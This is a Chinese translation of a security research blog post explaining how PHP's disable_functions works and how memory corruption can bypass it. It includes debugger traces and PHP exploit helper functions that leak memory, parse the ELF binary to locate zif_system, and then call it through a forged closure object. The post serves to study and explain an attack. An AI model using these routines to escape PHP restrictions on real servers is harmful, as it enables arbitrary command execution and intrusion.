从内存破坏到绕过的disable_functions

tianqi1  1783天前

22.jpg

根据当前的研究状况,我们可以将绕过disable_functions分为两大类:一是通过调用外部二进制文件(例如由Chankro发布的著名的mail() + putenv()方法,以及shellshock/imap_open()之类的命令注入等);其次就是和内存破坏有关。我们之前已经讨论过的第一类方式,甚至还展示了一种自动发现这类缺陷的简单方法。所以现在让我们来讨论第二种方式。

我们的讨论是基于mm0r1的成果,其中描述的技术可帮助我们绕过这种函数限制。

我们的演示环境是基于Debian和PHP 7:

PHP 7.2.11 (cli) (built: Oct 24 2018 01:39:46) (NTS)
Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 GNU/Linux

disable_functions是如何工作的

首先我们需要弄清楚的是这个安全限制是如何工作的。在PHP中,函数分为两类:“内部”函数(var_dump()、base64_decode()等)和“用户”函数(function blabla($a,$b){…})。它们都被引擎在名为function_table的哈希表中注册,这个哈希表用于在从PHP脚本中调用函数时进行精确查找。

负责执行动作的主要代码如下:

ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) 
{
    zend_internal_function *func;
    if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length))) {
        zend_free_internal_arg_info(func);
        func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_RETURN_TYPE);
        func->num_args = 0;
        func->arg_info = NULL;
        func->handler = ZEND_FN(display_disabled_function);
        return SUCCESS;
    }
    return FAILURE;
}

这段代码会在function_table中查找目标函数,并将原始handler更改为一个名为display_disabled_function的函数。正如你所想象的,它会输出了一个经典的错误信息:

/* Dummy function which displays an error when a disabled function is called. */
ZEND_API ZEND_COLD ZEND_FUNCTION(display_disabled_function)
{
    zend_error(E_WARNING, "%s() has been disabled for security reasons", get_active_function_name());
}

因此,每当我们试图使用这个被禁用的函数时,就将调用display_disabled_function,而不是真正的所需函数。我们可以通过调试器来证实这点。为了测试这一点,请在zend_disable_function上设置一个断点,并附带-d 'disable_functions=system' exploit.php运行二进制文件。

Breakpoint zend_disable_function
pwndbg> bt
#0  zend_disable_function (function_name=0x555556811aa0 "system", function_name_length=6) at /tmp/php-7.2.11/Zend/zend_API.c:2839
#1  0x0000555555ae6a0b in php_disable_functions () at /tmp/php-7.2.11/main/main.c:229
#2  0x0000555555aeb1d4 in php_module_startup (sf=0x5555566bd9e0 <cli_sapi_module>, additional_modules=0x0, num_additional_modules=0) at /tmp/php-7.2.11/main/main.c:2326
#3  0x0000555555d4e479 in php_cli_startup (sapi_module=0x5555566bd9e0 <cli_sapi_module>) at /tmp/php-7.2.11/sapi/cli/php_cli.c:431
#4  0x0000555555d509d1 in main (argc=4, argv=0x5555566f2890) at /tmp/php-7.2.11/sapi/cli/php_cli.c:1371
#5  0x00007ffff69282e1 in __libc_start_main (main=0x555555d503fb <main>, argc=4, argv=0x7fffffffe4b8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe4a8) at ../csu/libc-start.c:291
#6  0x0000555555684d3a in _start ()

我们可以看到指令(也就是system)中声明的函数名是如何作为参数传递给这个函数的。此时,function_table中的handle是不变的:

pwndbg> p *func
$7 = {
  type = 1 '\001',
  arg_flags = "\004\000",
  fn_flags = 256,
  function_name = 0x555556726a90,
  scope = 0x0,
  prototype = 0x0,
  num_args = 2,
  required_num_args = 1,
  arg_info = 0x5555565f80d8 <arginfo_system+24>,
  handler = 0x5555559fa20b <zif_system>,
  module = 0x555556721730,
  reserved = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
}

让我们在return之前再次检查该值:

pwndbg> p *func 
$8 = {
  type = 1 '\001',
  arg_flags = "\004\000",
  fn_flags = 256,
  function_name = 0x555556726a90,
  scope = 0x0,
  prototype = 0x0,
  num_args = 0,
  required_num_args = 1,
  arg_info = 0x0,
  handler = 0x555555baa699 <zif_display_disabled_function>,
  module = 0x555556721730,
  reserved = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
}

可以看到现在handler字段指向display_disabled_function。如果你想知道为什么这些函数有一个zif_前缀,那是因为它们是由PHP_FUNCTION创建的,是“Zend Internal Function”的首字母缩写。

以上就是阻止脚本调用“危险”函数的策略,但是zif_system函数并不是从全局中被删除。它仍然存在,我们也可以继续使用它(如果我们可以控制内存)。

内存损坏

我们需要做的第一件事是找到zif_system的位置。为此,我们需要一个primitive来泄漏任意内存。以下exploit可查找二进制库,然后解析ELF结构来查找目标函数:

function parse_elf($base) {
    $e_type = leak($base, 0x10, 2);

    $e_phoff = leak($base, 0x20);
    $e_phentsize = leak($base, 0x36, 2);
    $e_phnum = leak($base, 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
        $p_flags = leak($header, 4, 4);
        $p_vaddr = leak($header, 0x10);
        $p_memsz = leak($header, 0x28);

        if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
            # handle pie
            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
            $text_size = $p_memsz;
        }
    }

    if(!$data_addr || !$text_size || !$data_size)
        return false;

    return [$data_addr, $text_size, $data_size];

}

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = leak($data_addr, $i * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak($leak);
               # 'constant' constant check
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

           $leak = leak($data_addr, ($i + 4) * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak($leak);
            # 'bin2hex' constant check
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

        return $data_addr + $i * 8;
    }
}

function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
        $addr = $start - 0x1000 * $i;
        $leak = leak($addr, 0, 7);
        if($leak == 0x10102464c457f) { # ELF header
            return $addr;
        }
    }
}

function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
        $f_entry = leak($addr);
        $f_name = leak($f_entry, 0, 6);

        if($f_name == 0x6d6574737973) { # system
            return leak($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

有了以上信息之后,下一步就是考虑调用zif_system函数。在这个过程中,使用了一种基于闭包的方法。在PHP中,匿名函数也是通过闭包类实现的。而与闭包相关的主要结构是zend_closure

typedef struct _zend_closure {
    zend_ob ject        std;
    zend_function      func;
    zval               this_ptr;
    zend_class_entry   *called_scope;
    zif_handler        orig_internal_handler;
} zend_closure;

深入其中的字段,我们可以发现存在一个指向函数的handler,其代码将被执行。实际上,这个exploit所创建的闭包对象(真实的闭包对象)为:

pwndbg> p (*(zend_closure *) 0x7ffff38652c0)->func->internal_function
$3 = {
  type = 2 '\002',
  arg_flags = "\000\000",
  fn_flags = 135266304,
  function_name = 0x7ffff3801d70,
  scope = 0x0,
  prototype = 0x7ffff38652c0,
  num_args = 1,
  required_num_args = 1,
  arg_info = 0x7ffff387c0f0,
  handler = 0x7ffff3879068,
  module = 0x2,
  reserved = {0x7ffff3873280, 0x1, 0x7ffff3879070, 0x0, 0x0, 0x0}
}

这个exploit会创建一个假的闭包对象,复制这些值并将type更改为值“1”(内部函数),并将handler更改为zif_system位置,最后成功调用这个函数。

pwndbg> p (*(zend_closure *) 0x7ffff38929a8)->func->internal_function
$4 = {
  type = 1 '\001',
  arg_flags = "\000\000",
  fn_flags = 135266304,
  function_name = 0x7ffff3801d70,
  scope = 0x0,
  prototype = 0x7ffff38652c0,
  num_args = 1,
  required_num_args = 1,
  arg_info = 0x7ffff387c0f0,
  handler = 0x5555559fa20b <zif_system>,
  module = 0x2,
  reserved = {0x7ffff3873280, 0x1, 0x7ffff3879070, 0x0, 0x0, 0x0}
}

结论

我希望这篇简短的文章能够帮助你理解disable_functions是如何工作的,以及如何使用内存损坏来实现绕过。只要可以在进程中运行任意代码,就可以调用二进制文件中的任何函数。如果你发现任何错误,请随时在twitter上联系我@TheXC3LL

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://x-c3ll.github.io/posts/UAF-PHP-disable_functions/

最新评论

昵称
邮箱
提交评论